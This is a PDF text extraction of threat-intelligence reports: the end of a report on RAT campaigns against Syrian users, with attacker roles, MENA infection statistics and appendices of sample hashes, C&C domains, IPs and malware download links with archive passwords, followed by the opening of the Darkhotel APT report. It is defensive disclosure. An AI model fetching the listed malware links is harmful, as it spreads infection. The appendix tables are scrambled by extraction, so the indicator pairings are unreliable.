Morocco + United States +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Victims geographical distribution map +Map showing geographical distribution of victims with zoom on the most affected areas +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Below are snapshots taken from videos published by the attackers, showing their RAT control panel +and list of victims. This shows some of the victims located in different countries. +The sample details and domain lists used by the attackers can be found in Appendices 1 and 2 in the +end of this document. +3.2.11. Activist Behavior +It is worth noting that we have seen evidence of activists trying to carry out Denial of Service +attacks on the RAT domains and servers, in an effort to overwhelm their resources and cause their +connections to timeout. +The post below shows a warning from activists about pro-government hacker attacks on Facebook +pages, explaining how pro-government groups post links to Trojanized applications in order to infect +users The activists announce in the post that they have spotted a C&C domain used by the Trojans +and that they are attacking it to remove all hacked victims. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +translated as +Host Attack in progress .. to +remove all hacked victims with help of god +TLP: Green +For any inquire please contact intelreports@kaspersky.com +3.3. Attribution +Team and positions +From many posts, forums and identification videos, it is clear that the group has an organized +structure of teams working together, The names and positions outlined below were collected from +posts on infiltrated forums or pages. They are all either nicknames or incomplete names that do not +enable full identification of the attackers. +The Resistant Syrian Electronic Army + Group 1: Team Hacker and Assad Penetrations Unit + Group 2: Anonymous Syria Al Assad Unit + Group 3: Management of Electronic Monitoring and Central Tracking Unit +Group1: Team Hacker and Assad Penetrations Unit +Name +Position +Shady +Head of Assad Hacker team +Fadi +Responsible for raids +Sarmad +Responsible for operations in raids unit +Mahmoud +Assistant to the head of management unit +Girl nickname Fidaeya (redemptionist) +Member of support and publishing team +Najma +Member of media and publishing team +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Group2: Anonymous Syria Al Assad Unit +Name +Position +Jabbour +Public relations manager +Haydara +Electronic ambushes unit +Alaa Morched +Electronic monitoring unit and follow up +Ahmad +Responsible for team unit +Nariman +Responsible for team unit +Responsible for team unit +Zina +Responsible for team unit +Derkachli Kordahli +Responsible for destruction of victim accounts +Ahmad and Morad +Engaged in attacks +Group3: Management of Electronic Monitoring and Central Tracking Unit +Name +Position +Kenan +Head of team +Okba +Head of electronic operations +Ahmad +Head of eectronic raids +Ritzel (heart of the lion) +Head of electronic penetration operations +TLP: Green +For any inquire please contact intelreports@kaspersky.com +4. Kaspersky Lab MENA RAT Statistics +Remote Administration Tool (RAT) Trojans are malicious programs that allow a remote +operator +control a system as if he has physical access to that system. Malicious RATs are widely used by different +types of cybercriminals (hacktivists, script-kiddies, and scammers) and even in some state-sponsored attacks. +Some of the most popular RATs are detected by Kaspersky products as following: + Trojan.MSIL.Zapchast, also known as Njrat + Backdoor.Win32.Bifrose, also known as Bitfrose + Backdoor.Win32.Fynloski, also known as DarkComet + Backdoor.Win32.Xtreme, also known as Xtremrat +The statistics below, extracted from the Kaspersky Security Network (KSN), show the number of +RAT infection attacks blocked by Kaspersky Lab products in the MENA (Middle East North Africa) +region in the 2013-2014 period: +Country/Detection Zapchast +Bitfrose +Fynloski +XtremeRAT +Total +Algeria +39113 +12071 +11643 +7106 +69900+ +Turkey +6326 +3325 +14002 +3586 +27200+ +9616 +5555 +5336 +4516 +25000+ +Egypt +5567 +5883 +4325 +2634 +18400+ +Iraq +6756 +2280 +3235 +3055 +15300+ +3594 +1165 +9244 +14700+ +Morocco +4084 +2710 +3104 +1233 +11100+ +Lebanon +8073 +8900+ +Tunisia +2844 +1888 +1495 +1004 +7200+ +Syria +2806 +1897 +1362 +6600+ +Qatar +1332 +2177 +4000+ +Jordan +1259 +1104 +3400+ +Oman +1241 +2900+ +Bahrain +1218 +1214 +2800+ +Kuwait +2100+ +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Zapchast +Bitfrose +Fynloski +XtremeRAT +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Based on KSN world statistics, the MENA region has one of the highest numbers for RAT attacks, as +shown below: +Country +Number of users +Algeria +39113 +India +35024 +France +10955 +Saudi Arabia +9616 +Mexico +6862 +Iraq +6756 +Turkey +6321 +Egypt +5567 +Russian Federation +5526 +Malaysia +5014 +NjRAT infection Top 10s + Algeria has the highest number of users facing NjRat infection for the 2013-2014 period and five +countries from MENA are in the NjRat top 10 + Algeria has the highest number of users facing Xtreme RAT infection for the 2013-2014 period +and four countries from MENA are in the Xtreme RAT top 10. + Four countries from MENA are in the Bifrose top 10 infection list. + Three countries from MENA are in the DarkComent top 10. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +5. Conclusion +Syrian malware has a strong reliance on social engineering and the active development of +technologically complex malicious variants. Nevertheless, most of them quickly reveal their true +nature when inspected carefully; and this is one of the main reasons for urging Syrian users to be +extra vigilant about what they download and to implement a layered defense approach. +Antivirus software uses either signature or heuristic-based detection to identify malware. On the +one hand, signature detection searches for a unique sequence of bytes that is specific to a piece +of malicious code. On the other hand, heuristic detection identifies malware based on program +behaviour. In our research we were able to collect more than 100 malware samples used to attack +Syrian citizens. Although most of these samples are known, cybercriminals rely on a plethora of +obfuscation tools and techniques in order to change the malware structure so as to bypass signature +scanning and avoid antivirus detection. This proves how critical heuristic technologies are when +it comes to protecting against these types of attack. By being able to identify variants of known +malware types or even new malware families, Kaspersky Lab security products detected all the +collected samples. +We expect these attacks to continue and evolve both in quality and quantity. We expect the +attackers to start using more advanced techniques to distribute their malware, using malicious +documents or drive-by download exploits. With enough funding and motivation they might also be +able to get access to zero day vulnerabilities, which will make their attacks more effective and allow +them to target more sensitive or high profile victims. +Even though the attackers depend mainly on using known RATs, their rapid improvement and +application of obfuscation techniques, GUI development for fake applications, and code modification +via automated builders, increase the probability that it won +t be too long before they start writing +their own Trojans to take advantage of customized infection capabilities and implement better +security evasion. +Finally, having a comprehensive and up-to-date antivirus and firewall should be the first measure +taken by any user that does any type of online activity, especially during these uncertain times when +new cyber threats appear almost daily. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Appendix 1: Samples +All samples table +The list of sample files has been collected through the infection vectors detailed above (Skype, Facebook, +file-sharing, email, etc.). The samples have been either generated using automated tools (RAT server, +obfuscation tools) or developed and bound to RAT files, especially the new samples with graphical content. +File information +Ammazon Internet Security.rar +Smart Firewall.rar +SSH VPN.rar +First +reported +Main file MD5 +Special info +https://www.dropbox.com/s/ +f9gpiv2qk4m1r44/Ammazon%20 +Internet%20Security.rar +https://www.dropbox.com/ +s/65bnrk8x4gt2og8/Smart%20 +Firewall.rar +https://www.dropbox.com/s/ +23ae669639c1d970aaee6f9f551b82b1 +Mar 18, +abf93ad254cd01997935863c9e556af8 +2014 +96ca1d7e45b03f438804d3b46d22df8a +1827acc1cf53e6ac9d9b638fc81f50a1 +c4kwnh6q0r3ymwf/SSH%20VPN.rar +thejoe.publicvm. +com multiple ports: +31.8.48.7 +https://www.facebook.com/photo. +php?fbid=726440034062205&set=a +.375478335825045.85979.36700297 +6672581&type=1&theater +reported on facebook and https:// +www.cyber-arabs.com +Viber fooor +pc%E2%80%AEexe%E2%80%AEexe.rar +Jan 26, +http://ge.tt/14hNebG1/v/0 +2014 +8995ff66bacaf76d1c24660f3092583c .scr file +http://www.youtube.com/ +watch?v=rU7B0mO9dr8 +TLP: Green +For any inquire please contact intelreports@kaspersky.com +File information +First +reported +Main file MD5 +Special info +Whatsapp for pc 2014.exe +http://ar.rghost.net/54001947 +other name: NJServer.exe +April 11, +2014 +8995ff66bacaf76d1c24660f3092583c 31.8.48.7, port 1199 +https://www.facebook.com/AlhyytAl +shrytLlthwrtFyAlryfAlghrby?sk=timel +ine&hc_location=timeline&filter=2 +hhhhhkrufnrrrs1982. +.exe, chrome. +zapto.org port 1177 +exe, shitanoxxx.exe, shitano.exe +(shitano= the devil) +Jan, +2014 +10300846f75eb36ad87091ed7f04b5d8 +Found this resolved +back then to +Source from friends at www.cyber- +95.212.148.21 from +arabs.com +facebook post cached +on google +.rar (=national +security program) +thejoe.publicvm.com +-rar pass: 111222333 +-Internal exe pass: syria123!@# +Nov 9, +3828971a77d94b6a226064ede528e408 extracts with excel +http://ge.tt/1v3NB7y/v/0 +2013 +(main executable) +sheet with previously +leaked details on +http://www.youtube.com/ +wanted activists +watch?v=Cw1vD9DhEc0 +.exe (=scandals) http://www. +gulfup.com/?X65OmP +http://www.youtube.com/ +Nov 1, +2013 +796cafc1983bc4e8a5d80d390d3cd33a hacars11.no-ip.biz +watch?v=TBbhUSS-pik +TLP: Green +For any inquire please contact intelreports@kaspersky.com +File information +First +reported +Main file MD5 +Skype.exe +ec62a59b10b0e587529d431db18d7b77 +Syriatel.exe +ad9a18e1db0b43cb38da786eb3bf7c00 +.zip (anti skype +1a6061d02794969ba7d57f808a64c1c2 +virus) +spediti 27 orangealert.zip +master.exe +1 to 5 +Jan 2014 +ac54c78f37eec21d167b1571fc442e84 +cddaf92765fd465fcea63a6e4a4e4cbc N/A +037d1cf1f8231f41dd6ae425488445fc +PDB Path C:\Users\joe\Desktop\ +23e936f189611430fffbdd8e1f2a077f +Desktop\Syriatel\Syriatel\obj\ +bundled with +Debug\Syriatel.pdb +9424b355a3670fd7749d3d25cbea18cb +3f86102e70a3d2fc2f94137599e8d9c2 +gfbf.exe +202.exe +SRGf2.exe VmFP4.exe +OYTu4.exe +ssss.exe +d3f957963f56b8bc5e883984857379d4 +Jan to +4c881505fe577e8d94227bb3e39b9f75 +e81bdf099a5e31f955d1d582dabed1d2 +2014 +ef644d0b444d894d10e7fa8a5072a2e3 +stub.exe +July +Winrar.exe +2013 +tr.exe +to May +WindowsApplication1.exe +2014 +June +2014 +server.exe +April +abalse=the devils +2014 +image.scr +hhhhhkrufnrrrs1982. +zapto.org +05574551467d6730800f7d098b17c98a +oooo.exe +Syria.exe +Special info +June +2014 +c46f72cb68b8d729fea8952fc01e1f13 +409a0b6954d4ff1000a6d7b78cde2b44 +0125a39deb6c0fb37853faa9a90162d3 thejoe.publicvm.com +12d63168bac9de71bb9142aa9cf0e533 (31.9.48.146) +debb0beac6414b681d050f2fbc2f2719 64.4.10.33:123 +40527942833ac6ffa25e4f875ab0bd17 +0d4bbd0d646cedea1c3eb5d2079ce804 +12cbe97c89634db754bae817e3b177b3 +7ba45daccca21db2e353b9144b29f2e8 +abalse.no-ip.biz +(95.212.148.233) +31.9.48.164 port +1122 +vip.all4syrian.com +(31.9.48.11) +old but active. +Windows_8_Pro_Build_9300_ +2012 to +activation_(KMS).exe +2014 +f73c643863b20d5843da4636330ff30e +data.downloadstarter. +cmp.online-hd.tv +(108.161.189.5) +alosh66.linkpc.net +86e6cc8827bce4837a55ad76133f3125 +Cleaan.exe sent by email +17 June +d96606d128ee726760f84eb8d37918b6 31.9.48.141 +2014 +e5c13f46b8fe119f77d0144c78ca9f60 port 5552 +45d4479bdd7d9a3e06e955ad358f1b6a +TLP: Green +For any inquire please contact intelreports@kaspersky.com +File information +chrome.exe +First +reported +Main file MD5 +17 June +Special info +31.9.48.141 port +2014 +5552 +e65107c5aeea5c3b3a59d4912905c3de +f457f4ee2e2532466f180b86fb01c91d +c71ccf5b1354d847fd7fae1e5668ea77 +3eb93fd8129aadbcce8d303047a18c9f +.scr +(scandals of Shia retrieval from +Syria) +asa.exe +feras.exe +bc00e320aebb6f780ac4e70a6e183978 +b5c7a04ae3eed7fd9f076d2a400ba660 +2013 +1a44d73596b0f6755b4ed9651708c9e9 +to June +b717adfd7a4997ebae49308171d09b1f +2014 +fa77151f7677e1602338e57c13aeab13 +basharalassad1.no-ip. +biz (31.9.48.147) +port 5552 +b7be9a74048fd64f0562a94e5fa66db2 +cd92e50ba570b6cc018fbafb6ea7e0ad +24db21293792639a3567bf8c1f651885 +fb2fbca3be381bb1a0b410f66e04f114 +d2561f4259da6784894ffb1a559c6952 +clean.exe +31.9.48.84 port 999 +Oct 2013 dd0965b9bb4d8fa833b59ab41b405c0b basharalassad1.no-ip. +Sent by email, downloads file from +gulfup.com file sharing site + +connects to the Syrian IP gets 62b1b +9 June +05cb3c7bb6727541efb79b23442 as +2014 +da98248ab1e4a287ac46023eacd08f5b +31.9.48.141 +port 5552 +Application1.exe from the file sharing +site through direct link +image.scr +9 June +2014 +7ba45daccca21db2e353b9144b29f2e8 +April +MSRSAAP.EXE +and May +ab75661f837537c4efb20ba6e99f23de +2014 +31.9.48.164 +port 1122 +tn4.mooo.com +(31.9.48.11) port 83 +tn5.linkpc.net +ebb2acc6e6ff596dea4f034e6e941eea +f2.exe +MSRSAAP.EXE +1.exe +ed9b62e17543b948da81c75ad4db88ad +1b1bdfdd0c5218354d7c979afbbf4a76 +0d2f0807233cff088cf69f553553c3bc +430c8f11ce5a77e154ebcd0d7eb1501d +6ec76cfd10c6ee8e3d8fd81e445abb7b +(31.9.48.11) +resolving in the +ed9 sample to +188.139.228.179 +(Syria mobile telecom +GPRS) +and 178.52.194.35 +(old IP) +TLP: Green +For any inquire please contact intelreports@kaspersky.com +File information +First +reported +Main file MD5 +Special info +b4eb0cb0fae200d09e6744f0ede10810 +f3.exe +f2.exe +13 May +1b1bdfdd0c5218354d7c979afbbf4a76 tn5.linkpc.net +1.exe +2014 +0d2f0807233cff088cf69f553553c3bc (31.9.48.11) +38e3bc8776915dbd2e55a4d90f85a872 +Kimawi.exe +yamen.exe +2014 +Oct 2013 +system32.exe +to Jan +2014 +288a4ee20880be85af60b1bad4d1d4d7 modifying hosts file, +no dns resolution +08947709640922b2d8e3b8d0e5b8e84e fernando85.no-ip.biz +21ec25f685843ec03fdba24837fc61e4 31.9.48.147 +Oct 2013 a7caf08fba073ac3e92d1faea340cb59 +Explorer.exe +13.exe +server.exe +to Jun +31.9.48.141 by +e1f2b15ec9f9a282065c931ec32a44b0 +2014 +Jan 2014 c85480f1e4731f98e28dc007056615a4 +meroassad.no-ip.biz +31.9.48.147 +31.9.48.141 +port 1960 +31.9.48.141 +port 1990 +cd97b9b7494470274e7df66059348d6d +54c178ba89d752be2ae3307fd40db45f +Sent by email +5 Jan +93195146c13ba6fd75b3c0062e3abf05 31.9.48.141 +2014 +f387eb11a402c9abb8700604906c00d6 port 1177 +a57f6c06ba7ca5758f1ca48eaa0a9cc5 +2013 +2014 +E.exe +b8e7f3b4cbe8e58b0509fc7fde71ddbf +31.9.48.141 +port 1920 +ahmdddd.no-ip.biz +387a285597d3ac51637f6ecc07ba0d5b 31.9.48.141 +port 5552 +Jan 2014 faebf06b7113f47ec2f3089879d765b4 31.9.48.7 port 81 +Jan to +ashdgasd.exe +93195146c13ba6fd75b3c0062e3abf05 +2014 +3eeb1677da86e97a12205ff237a3df7d +ab5bf9780d365c648fe39e70dc317ca5 +31.9.48.7 port 1880 +E.exe +PDB Path: C:\Users\Syrian Malware\ +Desktop\my rat\server\E\obj\ +Debug\E.pdb +2014 +402d806f1b61753bba0ea9bc7a8f76c2 31.9.48.7 port 1520 +YaAli.exe +TLP: Green +For any inquire please contact intelreports@kaspersky.com +File information +First +reported +Main file MD5 +Special info +217fe391d46cfd84653e36bc05a32f44 +.exe +doduu.exe +rsha.exe +juydghj.exe +Jan to +2013 +fd42186ffe642d10ea03d5cbec0cb3a0 +f8f868b750a24f1a5be6083e80b06f30 shadye.zapto.org +ec165a9be618283b6f37646761002f32 178.52.223.166:1177 +ea4542ef5fa6a2682b8c00f97c88ed70 +deb4c47abfc873f163693e2cfc9c7800 +hacker1987.zapto.org +178.52.158.22 +port 1177 +a91cf2847fa49fa5422244f85af0d3c5 +sent by email +freedom.exe +fff.exe +2013 to +fun.exe +Jan 2014 +lu04mtrd.exe +af77e56fbf9259c5242adb964d0773a5 +8918b499ef2015f6988e806da0df8f12 +4851de5e6d72f428c4e557b91417c1b4 +a91cf2847fa49fa5422244f85af0d3c5 +ab3da3252b698b3c7903a824b11418ed +46.213.188.88 +port 1177 +94.252.216.187 +port 1177 +193.227.183.171 +port 1604 +178.52.158.22 +port 1177 +178.52.203 +port 80 +shaaa1983.zapto.org +Sept +bjwytowe.packed +2013 +6c3e84a601b48eefc716936aee7c8374 +blob +to May +f9acce2596443c80254a016f426b1c41 +2014 +46.53.11.244 +port 1177 +46.213.210.210 +port 1063 to 1077 +beespy.no-ip.org +sexy.pif +Oct 2013 +ce47d484447dff1036e2100883320431 178.52.0.233 +52c3674e584ea31aef53b7dc4b2a33c5 178.52.30.28 port 81 +46.57.188.15 +978ad00b35e8ea6f280cd375778884d3 +Other suspicious files +a3493689114f75a61a8102d875001429 +.rar (imp the islamic +946ab0068e5ab64c3c19fb171f55b31a +army) +.exe (military locations) 2013 to +.exe +before: +69133513990f6e186cded6745cfade2f +Jan 2014 after: +216.6.0.28 +and others +846983dc879f12e9dd0500434769856f +syrian rat.exe +bb5d66b921a4499c23a339ba2690650f +PDB Path: C:\Users\LOVE SYRIA\ +Desktop\Syria.pdb +2013 +TLP: Green +0e8e1d9bd9d7ae36cda747d6fdd284a3 +31aeb34a57ae6b79ffa3d962316f3ec8 +For any inquire please contact intelreports@kaspersky.com +Appendix 2: C&C Domains +The following is a list of domains and corresponding IP addresses used in the attacks. +C&C Domain +thejoe.publicvm.com +C&C IP addresses used +Location Notes +31.9.48.119 +Syrian Telecommunications +31.9.48.146 +Establishment, TARASSUL ISP +31.8.48.7 is DSL for OJSC +thejoe.publicvm.com +31.8.48.7 +Bashinformsvyaz ISP in Russia, +Bashkortostan, Beloretsk +178.52.158.22 +46.213.188.88 +hacker1987.zapto.org +94.252.216.187 +178.52.158.22 +Syriatel Mobile Telecom +Syriatel 3G +178.52.203.80 +IP address in Lebanon (IDM Inconet +Data Management), indicating the +hacker1987.zapto.org +193.227.183.171 +mobility of the group members, not +only within Syria, but also to nearby +countries +alosh66.linkpc.net +81.9.48.11 +abalse.no-ip.biz +95.212.148.233 +aliallosh.sytes.net +65.49.68.142 (proxy IP) +31.9.48.11 +Establishment +Syrian Telecommunications +Establishment +Syrian Telecommunications +95.212.148.74 +Establishment +31.9.48.147 +Syrian Telecommunications +31.9.48.84 +Establishment +31.9.48.11 +188.139.228.179 +178.52.194.35 +TLP: Green +Syrian Telecommunications +95.212.148.21 +31.9.48.11 +tn5.linkpc.net +Establishment +65.49.68.142 (USA) +vip.all4syrian.com +tn4.mooo.com +Syrian Telecommunications +69.65.5.104 +46.57.213.64 +basharalassad1.no-ip.biz +(Wireless broadband) +69.65.5.104 (USA) +aliallosh.sytes.net +hhhhhkrufnrrrs1982.zapto.org +Russian Federation VimpelCom PPPOE +Syrian Telecommunications +Establishment +Syrian Telecommunications +Establishment +For any inquire please contact intelreports@kaspersky.com +C&C Domain +xtr.all4syrian.com +C&C IP addresses used +Location Notes +31.9.48.11 +Syrian Telecommunications +82.137.200.48 from 2012 +Establishment +IP is at UFPR Universidade Federal do +xtr.all4syrian.com +200.17.216.14 +Paran +, Brazil. +Suspected to be SSH VPN +2014: +178.52.108.207 +178.52.166.61 +2013: +178.52.254.161 +tn1.linkpc.net +31.9.48.11 +Syrian Telecommunications +31.9.48.1 +Establishment +46.213.100.97 +46.213.123.97 +94.252.217.145 +2012: +178.52.165.92 +tn2.linkpc.net +46.213.235.105 +fernando85.no-ip.biz +31.9.48.147 +meroassad.no-ip.biz +31.9.48.147 +shadye.zapto.org +178.52.223.166 +ahmdddd.no-ip.biz +31.9.48.141 +178.52.0.233 +beespy.no-ip.org +178.52.30.28 +46.57.188.15 +nowarsytia.no-ip.org +hacars11.no-ip.biz +216.6.0.28 +launched from this IP +Other (No Domain) +TLP: Green +Syrian Telecommunications +Establishment +Syrian Telecommunications +Establishment +Syrian Telecommunications +Establishment +Syrian Telecommunications +Establishment +Syrian Telecommunications +Establishment +216.6.0.28 is AS6453 AS6453 - TATA +mail server used to send spam, +dictionnary attacks were also +Syriatel Mobile Telecom +COMMUNICATIONS (AMERICA) INC,US +(registered Apr 18, 1996), Damascus, +Syrian Arab Republic, reassigned to STE +31.9.48.141 +Syrian Telecommunications +31.8.48.7 +Establishment +31.9.48.164 +31.8.48.7 is OJSC Bashinformsvyaz ISP +31.9.48.84 +in Russia +For any inquire please contact intelreports@kaspersky.com +THE DARKHOTEL APT +A STORY OF UNUSUAL +HOSPITALITY +Version 1.1 +November, 2014 +Global Research and Analysis Team +Contents +Executive Summary.................................................................................................3 +Introduction.............................................................................................................4 +Analysis....................................................................................................................5 +Delivery - Hotels/Business Centers and Indiscriminate Spread.....................5 +Hotels and Business Centers Spread.........................................................5 +Abusing Network Infrastructure...................................................................6 +Indiscriminate Spread..................................................................................7 +Darkhotel Spear-phishing Campaigns........................................................8 +Recent 0-day Deployment...........................................................................9 +Digital Certificates and Delegitimizing Certificate Authority Trust...................9 +Cracking the keys...................................................................................... 12 +Other Tapaoux Certificates........................................................................ 12 +Enhanced Keyloggers and Development...................................................... 13 +Keylogger Code.......................................................................................... 13 +Interesting Malware Components....................................................................... 15 +Small Downloader.......................................................................................... 15 +Information Stealer......................................................................................... 16 +Trojan.Win32.Karba.e..................................................................................... 17 +Trojan-Dropper & Injector (infected legitimate files)..................................... 17 +Selective Infector............................................................................................ 18 +Campaign Codes............................................................................................. 18 +Infrastructure and Victims................................................................................... 19 +Sinkhole Domains........................................................................................... 19 +Victim Locations - KSN and Sinkhole Data.................................................... 20 +KSN Data................................................................................................... 20 +Sinkhole Data............................................................................................ 22 +Available ddrlog Victim Data........................................................................... 22 +C2 Communications and Structure............................................................... 24 +Victim Management........................................................................................ 25 +Researcher Activity.................................................................................... 26 +Conclusions.......................................................................................................... 27 +TLP: Green +For any inquiries, please contact intelreports@kaspersky.com +Executive Summary +The Darkhotel APT is a threat actor possessing a seemingly inconsistent and contradictory set of characteristics, some advanced and some fairly rudimentary. Inhospitably operating for almost a decade, the threat actor is currently active. The +actor +s offensive activity can be tied to specific hotel and business center Wi +and physical connections, some of it is also tied to p2p/file sharing networks, +and they have been known to spear-phish targets as well. Darkhotel tools are +detected as +Tapaoux +Pioneer +Karba +, and +Nemim +, among other names. +The following list presents a set of characteristics for the crew: + operational competence to compromise, mis-use, and maintain access to +global scale, trusted commercial network resources with strategic precision +for years + advanced mathematical and crypto-analytical offensive capabilities, along +with no regard for undermining the trust extended to the Certificate Authorities +and the PKI + indiscriminately infect systems with some regional clarity over trusted and +untrusted resources to build and operate large botnets + well-developed low level keyloggers within an effective and consistent toolset + a focus throughout campaigns on specific victim categories and tagging them + a larger, dynamic infrastructure built of apache webservers, dynamic dns +records, crypto libraries, and php webapps + regular 0-day access - recent deployment of an embedded Adobe Flash 0-day +spear-phishing exploit, and infrequent deployment of other 0-day resources to +sustain larger campaigns over several years +TLP: Green +For any inquiries, please contact intelreports@kaspersky.com +Introduction +When unsuspecting guests, including situationally aware corporate executives and +high-tech entrepreneurs, travel to a variety of hotels and connect to the internet, +they are infected with a rare APT Trojan posing as any one of several major software +releases. These might be GoogleToolbar, Adobe Flash, Windows Messenger, etc. +This first stage of malware helps the attackers to identify more significant victims, +leading to the selective download of more advanced stealing tools. +At the hotels, these installs are selectively distributed to targeted individuals. This +group of attackers seems to know in advance when these individuals will arrive +and depart from their high-end hotels. So, the attackers lay in wait until these +travelers arrive and connect to the Internet. +The FBI issued advisories about similar hotel incidents; Australian government officials produced similar, newsworthy accounts when they were infected. While an FBI +announcement related to attacks on hotel guests overseas appeared in May 2012, +related Darkhotel samples were already circulating back in 2007. And available +Darkhotel server log data records connections as early as Jan 1, 2009. Additionally, seeding p2p networks with widely spread malware and 0-day spear-phishing +attacks demonstrate that the Darkhotel APT maintains an effective toolset and a +long-running operation behind the questionable hospitality it shows its guests. +TLP: Green +For any inquiries, please contact intelreports@kaspersky.com +Analysis +Delivery - Hotels/Business Centers and Indiscriminate Spread +Hotels and Business Centers Spread +The Darkhotel APT +s precise malware spread was observed in several hotels +networks, where visitors connecting to the hotel +s Wi-Fi were prompted to install +software updates to popular software packages. +Of course, these packages were really installers for Darkhotel APT +s backdoors, +added to legitimate installers from Adobe and Google. Digitally signed Darkhotel +backdoors were installed alongside the legitimate packages. +The most interesting thing about this delivery method is that the hotels require +guests to use their last name and room number to login, yet only a few guests +received the Darkhotel package. When visiting the same hotels, our honeypot +research systems couldn +t attract a Darkhotel attack. This data is inconclusive, +but it points to misuse of check-in information. +TLP: Green +For any inquiries, please contact intelreports@kaspersky.com +Abusing Network Infrastructure +The Darkhotel actor maintained an effective intrusion set at hotel networks, +providing ample access to unexpected points of attack over several years. These +staging points also provide the attackers with access to check-in/check-out and +identity information of visitors to high-end and luxury hotels. +As a part of an ongoing investigation, our research led us to embedded iframes +within hotel networks that redirected individuals + web browsers to phony installers. The attackers were very careful with the placement of these iframes and +executables on trusted resources - the hotels + network login portals themselves. +The attackers were also very careful to immediately delete all traces of their +tools as soon as an attack was carried out successfully. Those portals are now +reviewed, cleaned and undergoing a further review and hardening process. We +observed traces of a couple of these incidents in late 2013 and early 2014 on +a victim hotel +s network. The attackers set up the environment and hit their +individual targets with precision. As soon as their target +s stay was over and +the attack-frame was closed, the attackers deleted their iframe placement and +backdoored executables from the hotel network. The attackers successfully deleted traces of their work from earlier attacks in another hotel, but their offensive +techniques were the same. Outside reports of the same activity at other hotels +provide enough data to confirm the same careful operations there. +The attack technique blurs the line between a couple of common APT tactics; +fairly inaccurate +watering holes + or +strategic web compromises + and more +accurate spearphishing techniques. In this case, the Darkhotel attackers wait +for their victim to connect to the Internet over the hotel Wi-Fi or the cable in their +room. There is a very strong likelihood the targets will connect over these resources, and the attackers rely on that likelihood, much like at a watering hole. But the +attackers also maintain truly precise targeting information over the victim +s visit, +much like they would know a victim +s email address and content interests in a +spearphishing attack. While setting up the attack, the Darkhotel attackers knew +the target +s expected arrival and departure times, room number, and full name, +among other data. This data enables the attackers to present the malicious +iframe precisely to that individual target. So, here we have yet another unique +characteristic of this attacker - they employ a loosely certain but highly precise +offensive approach. +TLP: Green +For any inquiries, please contact intelreports@kaspersky.com +Indiscriminate Spread +An example of the Darkhotel APT +s indiscriminate malware spreading is demonstrated by the way it seeds Japanese p2p sharing sites, where the malware +is delivered as a part of a large (approximately 900mb) rar archive. The archive +is also spread over bittorrent, as detailed below. Darkhotel uses this method to +distribute their Karba Trojan. These Japanese archives, translated for Chinese +speaking viewers, appear to be sexual in nature, part of an anime sex/military +comic scene, exposing the likely interests of potential targets. +This Darkhotel package was downloaded over 30,000 times in less than +six months. The p2p bittorrent Darkhotel offering is listed here, posted on +2013.11.22. It was spread throughout 2014. +01-09 +.rar +This torrent serves up an almost 900 mb file. The rar archive decompresses to +a directory full of encrypted zips, the associated decryptor and a password file for +decrypting the zips. But what looks like the AxDecrypt.exe decryptor is bound to +both the true decryptor and the dropper for the Darkhotel Catch.exe Karba Trojan. +When a user downloads the torrent and decrypts the zip files, the trojan surreptitiously is installed and run on the victim system. +Catch.exe, detected as Backdoor.Win32.Agent.dgrn, communicates with the following Darkhotel command and control servers: +microdelta.crabdance.com +microyours.ignorelist.com +micronames.jumpingcrab.com +microchisk.mooo.com +microalba.serveftp.com +TLP: Green +For any inquiries, please contact intelreports@kaspersky.com +Other examples of this Darkhotel backdoor bound within a shared torrent include +adult content Japanese anime and more. There are tens of thousands of downloads of these individual torrents. +torrent\[hgd +]comic1 +[5.08g][ +\(comic1 +7) [ + -shinogi- ( +\[hgd +]comic1 +[5.08g][ +The associated Darkhotel backdoor was hosted on bittorrent, emule, etc, under +a variety of comic names. Examples include comics and anime offerings. Related +Darkhotel command and control server domains include: +microblo5.mooo.com +microyours.ignorelist.com +micronames.jumpingcrab.com +microchisk.mooo.com +microalba.serveftp.com +Darkhotel Spear-phishing Campaigns +Darkhotel campaigns involving typical spear-phished Tapaoux implants publicly +appeared in bits and pieces several times over the past five years. These subproject +efforts targeted defense industrial base (DIB), government, and NGO organizations. +Email content on topics like nuclear energy and weaponry capabilities was used as +a lure. Early accounts were posted on contagio describing attacks on NGO organizations and government policy makers. This spear-phishing activity continues into +2014. The attacks follow the typical spear-phishing process and in the past couple of +months, exploited systems retrieved downloader executables from web servers like +hxxp://office-revision.com/update/files22/update.exe or hxxp://trade-inf.com/mt/ +duspr.exe +Over the past few years the group has emailed links that redirect targets + browsers to Internet Explorer 0-day exploits. Sometimes the attachment itself includes +an Adobe 0-day exploit. +TLP: Green +For any inquiries, please contact intelreports@kaspersky.com +Recent 0-day Deployment +This crew occasionally deploys 0-day exploits, but burns them when required. In +the past few years, they deployed 0-day spear-phishing attacks targeting Adobe +products and Microsoft Internet Explorer, including cve-2010-0188. In early +2014, our researchers exposed their use of cve-2014-0497, a Flash 0-day described on Securelist in early February. +The crew spear-phished a set of target systems connected to the Internet through +Chinese ISPs, and developed capabilities within the 0-day exploits to handle +hardened Windows 8.1 systems. It +s interesting that the Flash objects were +embedded in Korean documents titled +List of the latest Japanese AV wind and +how to use torrents.docx + (loose English translation). The dropped downloader +(d8137ded710d83e2339a97ee78494c34) delivered malcode similar to the +Information Stealer + component functionality summarized below, and detailed +in Appendix D. +Digital Certificates and Delegitimizing Certificate Authority +Trust +The Darkhotel actors typically sign their backdoors with digital certificates of one +kind or another. However, the certificates originally chosen by this crew are very +interesting because of their weak keys and likely abuse by attackers. Here is a +listing of the certs that were commonly used to sign Darkhotel malcode, requiring +advanced mathematical capabilities to factorize the keys at the time. They are +not the only certificates used by the group. More recent activity suggests that the +group has stolen certificates to sign their code. +Subordinate +CA/Issuer +Owner +Status +Valid From +Valid To +Digisign Server ID +(Enrich) +flexicorp.jaring.my sha1/ Expired +RSA (512 bits) +12/17/2008 +12/17/2010 +CyberTrust +Cybertrust +SureServer CA +inpack.syniverse.my +sha1/RSA (512 bits) +Revoked +2/13/2009 +2/13/2011 +CyberTrust +Cybertrust +SureServer CA +inpack.syniverse.com +sha1/RSA (512 bits) +Revoked +2/13/2009 +2/13/2011 +CyberTrust +Anthem Inc +Certificate Auth +ahi.anthem.com sha1/ +RSA (512 bits) +Invalid Sig. +1/13/2010 +1/13/2011 +CA Root +CyberTrust +TLP: Green +For any 